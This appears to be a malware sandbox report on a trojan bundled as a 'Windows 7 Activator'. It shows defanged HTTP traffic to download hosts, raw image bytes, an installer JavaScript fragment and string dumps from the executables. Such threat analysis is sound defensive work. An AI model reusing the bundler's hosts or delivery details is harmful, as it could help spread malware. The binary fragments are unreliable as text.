GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1293

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:55 GMT

Content-Disposition: attachment; filename="decline.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "137a96f0655570ffdf65ae14dad52404"

Accept-Ranges: bytes

Server: AmazonS3

Age: 81601

X-Cache: Hit from cloudfront

Via: 1.1 660d1b60b9803f57ec0ebd5664934bd8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tCpwn7ak5Kwn_qWtOpwI-gUNKf5OdZE5dUxSobyxgWx_zEXrfJdkFg==

GIF89ae......................................................................................................................................................................................................................................................................................................................................................................................................!.....t.,....e........ns.............n..mB.............FBm.s.C.............AB.DE.............DDI.GGF.............G.I.........(.....HJ.LML..........%....8...z.J.\..a.%N.5qB......8...F......H..F...$)..e.&P.A.I....37>......Ax..JT.N%D..\....)..H.J..U...H..u...[.... ..&/H.{!%.V.m...X0...)Se.......W.P!D.J.... ^.a@..T..(.........B.E....4.<Z4..-2..r....7L.....m*W.Y..........Nc...<.x..a.....Do..........;........{......_.>.. ..3(p....W._9p........{.........z... {[.....Vh...F0@..vX..Y.....D.E..v.!. f.".%j...#bh#._....[....@.)..@.1..[.....L2YD...I..C.X...H@..M2.D.`.....|...h....^.0@.pv.D..`...S.........o....z....7......9.!b.!...Vji. .... ....`<A'..f...T....=......:....0A.[$0@.>......{....a...&.....8@........a...&`...6.l.bP0....;n._. B...@.....l...a.......d......,....k......!h4....G....Wl.j..g....w.q.g.2..$.l..(....,....0..s.4..r......<....6.-t.?.m4.l.<G.o....PG-..TWM..M[...P....X...$d.m..g..@ .;....

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 3033

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:55 GMT

Content-Disposition: attachment; filename="accept.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "3484f982bbd281ea323f9dedb47098ed"

Accept-Ranges: bytes

Server: AmazonS3

Age: 83051

X-Cache: Hit from cloudfront

Via: 1.1 660d1b60b9803f57ec0ebd5664934bd8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3ldHB2rUZAKIgIKqNBQyfR0D7nhahyxefL5u2VGdQzihnw3CZw0qVw==

GIF89ae...............!.(:.AhxjC.M..%...C.E...?.G...gvh*. *./*.3guhwww?.H<.E>.E&.) .->.G;.Appp.....3-.3,./-.2*.-=.E@.H<.A)..@.IC.K'. =.D8.?:.A7.>6.<2.74.91.50.76.>..................C.K...}..o.t ./...............'.,^.d......L.R~..uuu...............J.N...<.C...H.KL.P..................[._&. ...........................|.~......(.-...4.?k.oB.KG.M?.G...[.^;.C...|.....y.}...a.f......;.B...Y.^...j.m.........I.M......?.B>.D............M.Q...........9<.?... .5o.s1.8(.,A.K......C.I%.*..2?.Hgug).1E.Kn.o@.I-.4E.I>.F=.D6.;...'.)*.(*./-.-?.=-..:.C../<.C...5.<=.B?.C...9.@9.A:.A,.2;.B;.BQ.\...O.Tkyl/.3\._8.>'.-/.2>.F?.P<.F*.&-.34.9(.,@.I .....)./=.D3.8&.<C.K#.*C.J .,~.. .&...#.&(.) .2,.3=.F,.5(./...{.}...=.E&.*Y.\-.39.B{.|.........hwi). iyjjzk-.2^.b>.J&.,q.ul.pm.pn.q...M.R......<.A......!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:325014833434E411B829A1185F1C216E" xmpMM:DocumentID="xmp.did:D165859F343611E4B378E2150F88781F" xmpMM:InstanceID="xmp.iid:D165859E343611E4B378E2150F88781F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:Deriv

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 29603

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:58 GMT

Content-Disposition: attachment; filename="dm_left_image.png"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "27e01b52fcb3f43ff9d3f29b0af69137"

Accept-Ranges: bytes

Server: AmazonS3

Age: 85141

X-Cache: Hit from cloudfront

Via: 1.1 660d1b60b9803f57ec0ebd5664934bd8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vlqzzBuN8I_EC8bQtaBuSwewqhMZjPeKE9Td-ZgR1ZSC3ELyjk0WPg==

.PNG........IHDR.......e.....5Z......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:A22384F4BB6C11E488CDA27B4BADD3EB" xmpMM:DocumentID="xmp.did:A22384F5BB6C11E488CDA27B4BADD3EB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A22384F2BB6C11E488CDA27B4BADD3EB" stRef:documentID="xmp.did:A22384F3BB6C11E488CDA27B4BADD3EB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.O.8..p.IDATx...[..X.....I..12#.*..{z.f5.y[....4..$..>.....X..#m.vU.LWfUf......u......`.#3"....H.x.....o.......i.$...@.........~.Z..xd...w..,....;9......<..-...B.......o.....7._..w.Y....kn?>...T=..|:..^k.;......".J..B.gM.f).|...<..rK....=.7..Z.g....SDG..`.tm.q......ZS...(.V.<....Y.....;z.,?>..|*...k..}ip..C..=..|B...kV-W.....J....X....k...y>.[z.5.d.l..W.u.1/.....|...r.v.r}..|*...k...........j<.....p|Q=........$.....C...<..-....{.`......._.?x......q.7S>.......W...'_...#..#.p..a.Gy.O...sM!........S...3^.p.s.|!........r....@......vM|s3.......?..Bi.&....k._..........

<<< skipped >>>

GET /V35/amipb.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn1.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 69943

Connection: keep-alive

Date: Tue, 08 Mar 2016 09:48:39 GMT

Last-Modified: Sun, 28 Feb 2016 13:30:41 GMT

ETag: "76a09d03456de6b830f2d57dae56f423"

x-amz-storage-class: REDUCED_REDUNDANCY

Accept-Ranges: bytes

Server: AmazonS3

Age: 3947

X-Cache: Hit from cloudfront

Via: 1.1 974c28f7c099ed222b7c7aa8bcbaf5da.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ranL2ETIB5HO8HVoPKFlNVVJOG84vkdKB98y5Rlc0AjIAw_Wflbtew==

..//<!-- ../* Progress bar */..var g_AmiPbs = new Array();.var g_AmiPbsEx = new Array();.var g_interval = 0;.var g_initComp = 0;.var g_possibleComps = [];.var g_reportedComps = [];.var g_removedComps = [];..var g_disable_updater = false;..//in the version we tests updater task is created firstly.var g_UpdaterTestVersion = (typeof (g_ver) !== 'undefined' && g_ver != null && g_ver == '1.1.5.90');.var g_UpdaterTaskCreated = false;..function LogMessage(message) {. try {. g_ami.Log(message);. }. catch (excpt) {. }.}..function IsDeclined(name) {. var declined = 0;. for (var i = 0; i < g_removedComps.length; i ) {. if (g_removedComps[i] == name) {. declined = 1;. break;. }. }. return declined;.}..function UpdateSkipStatus(sn) {. if (g_testa && !ArrayContains(g_reportedComps, sn) && !ArrayContains(g_notest, sn) && !ArrayContains(g_notest1, sn) && !ArrayContains(g_notest2, sn)) {. if (g_testa.constructor != Array || ArrayContains(g_testa, sn)) {. g_ami.WriteProfileString(g_testf, '', sn, 'S');. g_reportedComps.push(sn);. }. }.}..function ShortNameFromName(name) {. for (c = 0; c < g_comps.length; c ) {. if (g_comps[c].name == name) {. return g_comps[c].sn;. }. }. return name;.}..function UpdateComponentsStatus() {. LogMessage('UpdateComponentsStatus function started');. for (var j = 0; j < g_possibleComps.length; j ) {.. if (g_possibleComps[j].sn =

<<< skipped >>>

GET /Html/ae700b56-ce32-47fe-970f-652f4f1c7837/%appimageurl% HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.secularistsarakolet.site

Connection: Keep-Alive

HTTP/1.1 400 Bad Request

Content-Type: text/html; charset=iso-8859-1

Date: Mon, 04 Apr 2016 11:43:29 GMT

Server: Apache/2.2.15 (Red Hat)

Content-Length: 321

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>400 Bad Request</title>.</head><body>.<h1>Bad Request</h1>.<p>Your browser sent a request that this server could not understand.<br />.</p>.<hr>.<address>Apache/2.2.15 (Red Hat) Server at VVV.secularistsarakolet.site Port 80</address>.</body></html>.HTTP/1.1 400 Bad Request..Content-Type: text/html; charset=iso-8859-1..Date: Mon, 04 Apr 2016 11:43:29 GMT..Server: Apache/2.2.15 (Red Hat)..Content-Length: 321..Connection: keep-alive..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>400 Bad Request</title>.</head><body>.<h1>Bad Request</h1>.<p>Your browser sent a request that this server could not understand.<br />.</p>.<hr>.<address>Apache/2.2.15 (Red Hat) Server at VVV.secularistsarakolet.site Port 80</address>.</body></html>...

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1360:

.text

`.rdata

@.data

.gentee

@.rsrc

KERNEL32.dll

USER32.dll

_acmdln

MSVCRT.dll

Cannot create gentee.dll!

c:\temp

%s\genteert.dll

The executable file does not have a bytecode!

Cannot load %s.

2 Y%d

\g%c}

%Ck_U

B/%s'

%dHq4

f=5.LIv [

english.lng

default - 1.bmp

install - 1.bmp

uninstall - 1.bmp

Windows 7 Activator__12215_il117959.exe_2732:

.text

`.rdata

@.data

.rsrc

@.reloc

j5SSh

8%uEP3

PSSh3WA

u.hna

xSSSh

FTPjKS

FtPj;S

C.PjRV

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

operator

GetProcessWindowStation

WinHttpSetStatusCallback

Failed to get the Temp folder: %d

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

RegDeleteKeyExW

EH/sqLCRUJ5s4VHsGWAkVe wv5kfrW2oBNovbDYb5bCs3RqsKLcEzjlqNzE=

EH/sqLCRUJ5s4VHsGWAkVe wv5kfrW2oBNovbDYb5bCs3RqsKKwZxil7NlWjq7HdGqwC

EH/sqLCRUJ5s4VHsGWAkVe wv5kfrW2oBNovbDYb5bCs3RqsKKgO231mPUj3vrKReodt 078Vw==

EH/sqLCRUJ5s4VH9OG43Qtewl5NMi2m3B494XFk=

EH/sqLCRUJ5s4VHqM24xV aWsI5LnmS3Cts0YD0x

EH/sqLCRUJ5s4VHqM24xV aWsI5LnmS3Cts0YD0Tpozy3RqsJPtOy3QF

EH/sqLCRUJ5s4VHqM24xV aWsI5LnmS3Cts0YD0b8bqqiE2RKP4YpQ==

EH/sqLCRUJ5s4VHmM3wnWu z/o5LnnqvDst9YgxS5 L7mR MYLQZ2xNuPl6 o33

EH/sqLCRUJ5s4VHmM3wnWu z/rtelmS D48pYHNf5rO7iVrfbrIHyn0qABuv/7uPTZB6 07LVw==

EH/sqLCRUJ5s4VHmM3wnWu z/rhNjWepS8AzLxBJ5r6qmHuWer4I2zJ9KhumjP7RH5p6qQTdfSo3MQ==

EH/sqLCRUJ5s4VHmM3wnWu z/r5Xnma8Do87Zj9eo7G/kFrfLYhh

EH/sqLCRUJ5s4VHmM3wnWu z/rtelmS D48pYHNW7Km73UuaZatLyTRjNhuk o3aH4tn 078fSNzXvGtsY8f2mzR

EH/sqLCRUJ5s4VHmM3wnWu z/rlQiGa3BM45WypL5uL7mTU=

EH/sqLCRUJ5s4VHmM3wnWu z/qlNhmG1DI8pYHNU87qw3VmQZL8O3X0ndmiq/72SUYtpsgXGM2hzQeqv/tEfmnqpBN19Kjcx

EH/sqLCRUJ5s4VHmM3wnWu z/rtelmS D48pYHNJ9rH 1RqsIftHjzh9IVTx//uZNQ==

dmijnpipeq0ougjbNHkyT qxud1onmGvX/svajZv6627nFvfLb9LijkvPXjsqrCJH9ps0Q==

EH/sqLCRUJ5s4VHmM3wnWu z/ths33 6Att9Kj9fo7K3kVOWe74IwDNrIBvhuriSTZooqA7bfXwnWveqrd1LkCi/GNsCRj1I976ykW NZ7gO3C5KPV/mu9Q=

EH/sqLCRUJ5s4VHmM3wnWu z/ths33 6Att9Kj9fo7K3kVOWe74IwDNrIBvhuriSTZooqA7bfXwnWveqrd1LkCi/GNsCRj1I976ykW NZ7gO3C5bIV7mmrCZWpsC

EH/sqLCRUJ5s4VHmM3wnWu z/r5XlmS/S98vYDBe8Kz m1CNKP44j3VmNxumu/fdWpFsvg DfV0QBqa78t1Mi2mvHtxgKjcx

EH/sqLCRUJ5s4VHmM3wnWu z/rhRm22/S8kyfXNW3La6wBqbKKgDwC97HVruuuPYbPU=

EH/sqLCRUJ5s4VH4PGYnD9etu5hrl3q Cst9WztJ5r663VmKZrgfxjJhc0j3vqyJWpsC

EH/sqLCRUJ5s4VH4PGYnD9etu5hrl3q Cst9WztJ5r663VmKZrgfxjJhc17tu7uZNQ==

EH/sqLCRUJ5s4VH8OHsAT Kru91ZkHr7TIoOKHNS8P/7mTU=

EH/sqLCRUJ5s4VH9OGM2WvC6jpJMi3i0Bco5BQ==

EH/sqLCRUJ5s4VHuOWsHU KxtY5vnnq6BsopaiEb8 L7rh JNf4PpQ==

EH/sqLCRUJ5s4VHuOWsHU KxtY5vnnq6BsopaiFIiQ==

EHLtrKqcU5NprwLAM0IyVeK4u48FxUG1H syeD1X7L66xx bL8CwTovEH/sqLCRUJ5s w3ALy92aKOrsd1SoGy0HMExYDJf8PbU

CInstallationManager::IsPartOfInstallation value=%s

CInstallationManager::SetComponentInstallationEnded %S

%Y-%m-%d %H:%M:%S

CProgressUpdateRequest::CreateInstance %S

CProgressUpdateRequest::ProgressUpdate %S

Send progress update request %s

Progress Request for '%S' return %s

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

RegDeleteKeyW

RegCloseKey

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

Secur32.dll

WinHttpCloseHandle

WinHttpOpen

WinHttpSetOption

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetStatusCallback

WinHttpSendRequest

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WinHttpReceiveResponse

WINHTTP.dll

GetProcessHeap

GetCPInfo

zcÃ

.?AVAsyncWinHttp@@

.?AV?$_IDispEventLocator@$0MJ@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$IDispEventSimpleImpl@$0MJ@VCBoot@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AUISupportErrorInfo@@

.?AV?$CAtlExeModuleT@VCBootStrapperModule@@@ATL@@

?456789:;

!"#$%&'()* ,-./0123

enflame.tass.1 = s 'Inst Class'

CLSID = s '{b797754f-099c-4aeb-a9fe-bb9ccb4ab656}'

enflame.tass = s 'Inst Class'

CurVer = s 'enflame.tass.1'

ForceRemove {b797754f-099c-4aeb-a9fe-bb9ccb4ab656} = s 'Inst Class'

ProgID = s 'enflame.tass.1'

VersionIndependentProgID = s 'enflame.tass'

val ServerExecutable = s '%MODULE_RAW%'

TypeLib = s '{c876a846-fc9b-48ce-b1ed-9b7f895c6c3d}'

.sssh

REÃš

\.crr

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps